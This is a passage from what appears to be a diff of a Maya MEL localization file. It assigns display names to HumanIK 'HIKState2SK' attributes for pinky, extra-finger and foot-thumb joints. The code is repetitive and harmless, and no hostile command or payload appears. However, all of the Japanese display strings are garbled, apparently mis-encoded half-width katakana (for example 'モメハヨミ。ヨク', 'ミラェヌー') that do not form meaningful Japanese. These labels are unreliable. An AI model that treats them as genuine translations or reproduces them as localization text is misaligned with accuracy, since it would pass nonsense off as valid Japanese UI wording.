"RightHandPinky3PGX", "モメハヨミ。ヨク 3 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3ROrder", "モメハヨミ。ヨク 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3SC", "モメハヨミ。ヨク 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3IS", "モメハヨミ。ヨク 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3ISx", "モメハヨミ。ヨク 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3ISy", "モメハヨミ。ヨク 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3ISz", "モメハヨミ。ヨク 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3PreR", "モメハヨミ。ヨク 3 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3PreRx", "モメハヨミ。ヨク 3 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3PreRy", "モメハヨミ。ヨク 3 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3PreRz", "モメハヨミ。ヨク 3 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3PostR", "モメハヨミ。ヨク 3 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3PostRx", "モメハヨミ。ヨク 3 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3PostRy", "モメハヨミ。ヨク 3 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky3PostRz", "モメハヨミ。ヨク 3 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4T", "モメハヨミ。ヨク 4 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4Tx", "モメハヨミ。ヨク 4 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4Ty", "モメハヨミ。ヨク 4 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4Tz", "モメハヨミ。ヨク 4 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4R", "モメハヨミ。ヨク 4 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4Rx", "モメハヨミ。ヨク 4 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4Ry", "モメハヨミ。ヨク 4 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4Rz", "モメハヨミ。ヨク 4 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4S", "モメハヨミ。ヨク 4 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4Sx", "モメハヨミ。ヨク 4 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4Sy", "モメハヨミ。ヨク 4 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4Sz", "モメハヨミ。ヨク 4 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4PGX", "モメハヨミ。ヨク 4 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4ROrder", "モメハヨミ。ヨク 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4SC", "モメハヨミ。ヨク 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4IS", "モメハヨミ。ヨク 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4ISx", "モメハヨミ。ヨク 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4ISy", "モメハヨミ。ヨク 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4ISz", "モメハヨミ。ヨク 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4PreR", "モメハヨミ。ヨク 4 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4PreRx", "モメハヨミ。ヨク 4 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4PreRy", "モメハヨミ。ヨク 4 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4PreRz", "モメハヨミ。ヨク 4 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4PostR", "モメハヨミ。ヨク 4 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4PostRx", "モメハヨミ。ヨク 4 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4PostRy", "モメハヨミ。ヨク 4 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPinky4PostRz", "モメハヨミ。ヨク 4 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1T", "モメハヨチヨク 1 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1Tx", "モメハヨチヨク 1 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1Ty", "モメハヨチヨク 1 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1Tz", "モメハヨチヨク 1 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1R", "モメハヨチヨク 1 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1Rx", "モメハヨチヨク 1 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1Ry", "モメハヨチヨク 1 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1Rz", "モメハヨチヨク 1 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1S", "モメハヨチヨク 1 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1Sx", "モメハヨチヨク 1 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1Sy", "モメハヨチヨク 1 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1Sz", "モメハヨチヨク 1 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1PGX", "モメハヨチヨク 1 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1ROrder", "モメハヨチヨク 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1SC", "モメハヨチヨク 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1IS", "モメハヨチヨク 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1ISx", "モメハヨチヨク 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1ISy", "モメハヨチヨク 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1ISz", "モメハヨチヨク 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1PreR", "モメハヨチヨク 1 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1PreRx", "モメハヨチヨク 1 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1PreRy", "モメハヨチヨク 1 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1PreRz", "モメハヨチヨク 1 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1PostR", "モメハヨチヨク 1 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1PostRx", "モメハヨチヨク 1 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1PostRy", "モメハヨチヨク 1 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger1PostRz", "モメハヨチヨク 1 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2T", "モメハヨチヨク 2 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2Tx", "モメハヨチヨク 2 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2Ty", "モメハヨチヨク 2 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2Tz", "モメハヨチヨク 2 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2R", "モメハヨチヨク 2 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2Rx", "モメハヨチヨク 2 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2Ry", "モメハヨチヨク 2 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2Rz", "モメハヨチヨク 2 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2S", "モメハヨチヨク 2 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2Sx", "モメハヨチヨク 2 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2Sy", "モメハヨチヨク 2 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2Sz", "モメハヨチヨク 2 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2PGX", "モメハヨチヨク 2 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2ROrder", "モメハヨチヨク 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2SC", "モメハヨチヨク 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2IS", "モメハヨチヨク 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2ISx", "モメハヨチヨク 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2ISy", "モメハヨチヨク 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2ISz", "モメハヨチヨク 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2PreR", "モメハヨチヨク 2 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2PreRx", "モメハヨチヨク 2 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2PreRy", "モメハヨチヨク 2 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2PreRz", "モメハヨチヨク 2 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2PostR", "モメハヨチヨク 2 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2PostRx", "モメハヨチヨク 2 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2PostRy", "モメハヨチヨク 2 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger2PostRz", "モメハヨチヨク 2 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3T", "モメハヨチヨク 3 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3Tx", "モメハヨチヨク 3 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3Ty", "モメハヨチヨク 3 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3Tz", "モメハヨチヨク 3 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3R", "モメハヨチヨク 3 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3Rx", "モメハヨチヨク 3 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3Ry", "モメハヨチヨク 3 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3Rz", "モメハヨチヨク 3 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3S", "モメハヨチヨク 3 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3Sx", "モメハヨチヨク 3 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3Sy", "モメハヨチヨク 3 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3Sz", "モメハヨチヨク 3 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3PGX", "モメハヨチヨク 3 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3ROrder", "モメハヨチヨク 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3SC", "モメハヨチヨク 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3IS", "モメハヨチヨク 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3ISx", "モメハヨチヨク 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3ISy", "モメハヨチヨク 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3ISz", "モメハヨチヨク 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3PreR", "モメハヨチヨク 3 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3PreRx", "モメハヨチヨク 3 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3PreRy", "モメハヨチヨク 3 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3PreRz", "モメハヨチヨク 3 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3PostR", "モメハヨチヨク 3 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3PostRx", "モメハヨチヨク 3 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3PostRy", "モメハヨチヨク 3 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger3PostRz", "モメハヨチヨク 3 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4T", "モメハヨチヨク 4 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4Tx", "モメハヨチヨク 4 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4Ty", "モメハヨチヨク 4 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4Tz", "モメハヨチヨク 4 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4R", "モメハヨチヨク 4 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4Rx", "モメハヨチヨク 4 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4Ry", "モメハヨチヨク 4 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4Rz", "モメハヨチヨク 4 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4S", "モメハヨチヨク 4 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4Sx", "モメハヨチヨク 4 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4Sy", "モメハヨチヨク 4 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4Sz", "モメハヨチヨク 4 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4PGX", "モメハヨチヨク 4 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4ROrder", "モメハヨチヨク 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4SC", "モメハヨチヨク 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4IS", "モメハヨチヨク 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4ISx", "モメハヨチヨク 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4ISy", "モメハヨチヨク 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4ISz", "モメハヨチヨク 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4PreR", "モメハヨチヨク 4 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4PreRx", "モメハヨチヨク 4 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4PreRy", "モメハヨチヨク 4 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4PreRz", "モメハヨチヨク 4 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4PostR", "モメハヨチヨク 4 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4PostRx", "モメハヨチヨク 4 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4PostRy", "モメハヨチヨク 4 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandExtraFinger4PostRz", "モメハヨチヨク 4 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1T", "ラスナエヨコ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1Tx", "ラスナエヨコ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1Ty", "ラスナエヨコ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1Tz", "ラスナエヨコ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1R", "ラスナエヨコ 1 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1Rx", "ラスナエヨコ 1 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1Ry", "ラスナエヨコ 1 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1Rz", "ラスナエヨコ 1 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1S", "ラスナエヨコ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1Sx", "ラスナエヨコ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1Sy", "ラスナエヨコ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1Sz", "ラスナエヨコ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1PGX", "ラスナエヨコ 1 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1ROrder", "ラスナエヨコ 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1SC", "ラスナエヨコ 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1IS", "ラスナエヨコ 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1ISx", "ラスナエヨコ 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1ISy", "ラスナエヨコ 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1ISz", "ラスナエヨコ 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1PreR", "ラスナエヨコ 1 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1PreRx", "ラスナエヨコ 1 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1PreRy", "ラスナエヨコ 1 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1PreRz", "ラスナエヨコ 1 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1PostR", "ラスナエヨコ 1 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1PostRx", "ラスナエヨコ 1 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1PostRy", "ラスナエヨコ 1 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb1PostRz", "ラスナエヨコ 1 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2T", "ラスナエヨコ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2Tx", "ラスナエヨコ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2Ty", "ラスナエヨコ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2Tz", "ラスナエヨコ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2R", "ラスナエヨコ 2 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2Rx", "ラスナエヨコ 2 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2Ry", "ラスナエヨコ 2 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2Rz", "ラスナエヨコ 2 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2S", "ラスナエヨコ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2Sx", "ラスナエヨコ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2Sy", "ラスナエヨコ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2Sz", "ラスナエヨコ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2PGX", "ラスナエヨコ 2 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2ROrder", "ラスナエヨコ 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2SC", "ラスナエヨコ 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2IS", "ラスナエヨコ 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2ISx", "ラスナエヨコ 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2ISy", "ラスナエヨコ 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2ISz", "ラスナエヨコ 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2PreR", "ラスナエヨコ 2 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2PreRx", "ラスナエヨコ 2 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2PreRy", "ラスナエヨコ 2 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2PreRz", "ラスナエヨコ 2 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2PostR", "ラスナエヨコ 2 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2PostRx", "ラスナエヨコ 2 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2PostRy", "ラスナエヨコ 2 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb2PostRz", "ラスナエヨコ 2 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3T", "ラスナエヨコ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3Tx", "ラスナエヨコ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3Ty", "ラスナエヨコ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3Tz", "ラスナエヨコ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3R", "ラスナエヨコ 3 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3Rx", "ラスナエヨコ 3 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3Ry", "ラスナエヨコ 3 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3Rz", "ラスナエヨコ 3 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3S", "ラスナエヨコ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3Sx", "ラスナエヨコ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3Sy", "ラスナエヨコ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3Sz", "ラスナエヨコ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3PGX", "ラスナエヨコ 3 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3ROrder", "ラスナエヨコ 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3SC", "ラスナエヨコ 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3IS", "ラスナエヨコ 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3ISx", "ラスナエヨコ 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3ISy", "ラスナエヨコ 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3ISz", "ラスナエヨコ 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3PreR", "ラスナエヨコ 3 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3PreRx", "ラスナエヨコ 3 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3PreRy", "ラスナエヨコ 3 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3PreRz", "ラスナエヨコ 3 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3PostR", "ラスナエヨコ 3 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3PostRx", "ラスナエヨコ 3 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3PostRy", "ラスナエヨコ 3 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb3PostRz", "ラスナエヨコ 3 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4T", "ラスナエヨコ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4Tx", "ラスナエヨコ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4Ty", "ラスナエヨコ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4Tz", "ラスナエヨコ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4R", "ラスナエヨコ 4 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4Rx", "ラスナエヨコ 4 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4Ry", "ラスナエヨコ 4 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4Rz", "ラスナエヨコ 4 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4S", "ラスナエヨコ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4Sx", "ラスナエヨコ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4Sy", "ラスナエヨコ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4Sz", "ラスナエヨコ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4PGX", "ラスナエヨコ 4 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4ROrder", "ラスナエヨコ 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4SC", "ラスナエヨコ 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4IS", "ラスナエヨコ 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4ISx", "ラスナエヨコ 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4ISy", "ラスナエヨコ 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4ISz", "ラスナエヨコ 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4PreR", "ラスナエヨコ 4 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4PreRx", "ラスナエヨコ 4 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4PreRy", "ラスナエヨコ 4 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4PreRz", "ラスナエヨコ 4 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4PostR", "ラスナエヨコ 4 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4PostRx", "ラスナエヨコ 4 ミラェコx" ); +setAttrNiceNameResource( 